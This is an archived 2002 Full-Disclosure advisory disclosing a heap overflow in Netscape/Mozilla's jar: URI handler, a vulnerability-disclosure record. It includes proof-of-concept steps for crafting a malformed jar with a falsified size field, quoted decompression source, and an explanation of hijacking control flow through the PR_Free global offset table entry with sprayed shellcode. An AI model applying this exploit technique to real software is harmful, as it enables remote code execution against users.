The following is the text of an advisory (with a couple of typos fixed) that was sent to Netscape in early July. (-rw-r--r-- 1 root root 3210 Jul 8 17:07 jar-writeup) This was one a several vulnerabilities reported in Netscape/Mozilla over that period. (Others included the previously posted zero-width gif problem, and PNG vulnerabilities.) http://bugzilla.mozilla.org/show_bug.cgi?id=157646 This page shows that the bug was opened on 2002-07-15 18:54 (May not be accessible.) I think 4 months is definately long enough to wait before disclosure. ===== Exploitable heap corruption via jar: URI handler. Create a file, called test.gif with the following 6 'int's in it. 0x2d6e657a,0x65726568, 0x00000000,0x00000000, 0xdeadbeef,0xfee1600d $ zip orig.jar test.gif adding: test.gif (deflated 17%) $ unzip -v orig.jar Archive: orig.jar Length Method Size Ratio Date Time CRC-32 Name -------- ------ ------- ----- ---- ---- ------ ---- 24 Defl:N 20 17% 07-08-02 16:11 b74deafe test.gif -------- ------- --- ------- 24 20 17% 1 file $ sed s/`printf '\x18'`/`printf '\x01'`/g orig.jar >new.jar $ unzip -v new.jar Archive: new.jar Length Method Size Ratio Date Time CRC-32 Name -------- ------ ------- ----- ---- ---- ------ ---- 1 Defl:N 20 -1900% 07-08-02 16:11 b74deafe test.gif -------- ------- --- ------- 1 20 -1900% 1 file $ cp new.jar ~/public_html (This file only contains the 2 0x18s (24s) representing the realsize, so it works ok on this file. Actual exploit file was created with a hex editor.) In Netscape open: jar:http://host/~username/new.jar!/test.gif The jar file is retrieved, the requested file is found... ... 584 //-- Read the item into memory 585 // Inflate if necessary and save in mInflatedFileBuffer 586 // for sequential reading. 587 // (nsJAR needs the whole file in memory before passing it on) 588 char* buf = (char*)PR_Malloc(item->realsize); 589 if (!buf) return ZIP_ERR_MEMORY; 590 switch(item->compression) 591 { 592 case DEFLATED: 593 result = InflateItem(item, 0, buf); 594 break; ... A buffer is allocated for storing the data. The realsize value is used for the length. (Size 1 actually allocates 8 bytes, hence the padding.) The buf is the passed to the inflater. ... 1268 PRInt32 nsZipArchive::InflateItem( const nsZipItem* aItem, PRFileDesc* fOut, 1269 char* bigBuf ) ... as bigBuf. Some temporary storage is made, and a chunk of decompression done. ... 1382 { 1383 //-- copy inflated buffer to our big buffer 1384 // Assertion makes sure we don't overflow bigBuf 1385 PR_ASSERT( outpos + ZIP_BUFLEN <= bigBufSize); 1386 char* copyStart = bigBuf + outpos; 1387 memcpy(copyStart, outbuf, ZIP_BUFLEN); 1388 } ... The assertion doesn't fire. It should probably be made into a normal check as well. We now have a heap based buffer overflow. At some point in the future, chunk_free() is called, and a SEGV will occur with while referencing the values 0xdeadbeef and 0xfee1600d. If these are replaced with (address of a function pointer)-12 and (address of user supplied code), when the function pointer is called, the user supplied code will execute. I have successfully changed the flow of control in tests, by overwriting the function pointer for PR_Free in the global offset table of libsnpr4.so. "Shellcode" can be supplied in a previously loaded image. (A large area can be filled using compressed image files stored in a .jar as the source.) ====== -- zen-parse -- ------------------------------------------------------------------------- 1) If this message was posted to a public forum by zen-parseat_private, it may be redistributed without modification. 2) In any other case the contents of this message is confidential and not to be distributed in any form without express permission from the author. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
This archive was generated by hypermail 2b30 : Thu Nov 14 2002 - 08:20:31 PST
